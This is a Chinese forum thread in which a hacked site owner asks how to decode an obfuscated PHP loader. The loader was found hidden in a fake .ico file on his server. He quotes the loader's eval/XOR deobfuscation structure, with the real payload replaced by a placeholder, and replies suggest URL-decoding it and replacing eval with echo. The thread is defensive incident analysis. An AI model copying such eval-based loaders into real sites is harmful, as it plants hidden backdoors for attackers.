请教一个问题，关于php加密，黑客

猛犸 · 发表于 2018-12-22 13:25:19

是这样的，我建的企业站被黑了，很多目录加了个php文件

第一次解密后，发现是调用了图片目录里边的一个 ".123456.ico" 文件

查看ico文件，并非图片，而是php代码

再次解密，得到代码，我是用unphp的在线解密的，代码太长，直接发链接

https://www.unphp.net/decode/99955e2940ac96171c579009917a1847/

可以看到是

$_4lrawfh = basename /*vazs*/
( /*sf8*/
trim /*qyf*/
( /*ga*/
preg_replace /*8fd17*/
( /*60*/
rawurldecode /*wugz5*/
( /*06*/
"%2F%5C%28.%2A%24%2F" /*bi*/
) /*6*/, '', __FILE__ /*w*/
) /*fhd*/ /*i7d*/
) /*7y0r*/ /*qxu5*/
) /*9eyb*/;
$_x6jl2 = "xxxxxxcode"
;
eval /*ia*/
( /*hmxf9*/
rawurldecode /*t*/
( /*qhn*/
$_x6jl2 /*874h*/
) /*jp2*/ ^ substr /*78*/
( /*r0cv*/
str_repeat /*eh*/
( /*k*/
$_4lrawfh, /*0n*/
( /*dqo7i*/
strlen /*t2d1*/
( /*6xe7*/
$_x6jl2 /*wfo*/
) /*eijdf*/ / strlen /*jly*/
( /*t*/
$_4lrawfh /*i*/
) /*x*/ /*hcn*/
) /*4svih*/ + 1 /*0a*/
) /*xz*/, 0, strlen /*g96ik*/
( /*ocw*/
$_x6jl2 /*7*/
) /*jqxp*/ /*ia*/
) /*alo9e*/ /*673yl*/
) /*rcg6*/;

复制代码

请问这是什么加密方法，用的什么加密软件？

如何解密$_x6jl2 = "xxxxxxcode"中间的xxxxxxcode部分。

很苦恼，被反复黑。。

xfspace · 发表于 2018-12-22 18:32:31

猛犸发表于 2018-12-22 14:52
非常感谢， url解码后很混乱，php混淆有办法破吗？

eval换成echo

xfspace · 发表于 2018-12-22 13:41:45

simple php混淆

$_4lrawfh = basename( trim ( preg_replace (rawurldecode("%2F%5C%28.%2A%24%2F" ) , '', __FILE__ ) ));
$_x6jl2 = "xxxxxxcode";
eval ( rawurldecode ( $_x6jl2 ) ^ substr ( str_repeat ( $_4lrawfh, ( strlen ( $_x6jl2 ) / strlen ( $_4lrawfh ) ) + 1 ) , 0, strlen ( $_x6jl2))) ;

复制代码

$_x6jl2用URL Decode

猛犸 · 发表于 2018-12-22 14:52:33

xfspace 发表于 2018-12-22 13:41
simple php混淆

非常感谢， url解码后很混乱，php混淆有办法破吗？

		自动登录	找回密码
密码			注册

[Windows VPS] 请教一个问题，关于php加密，黑客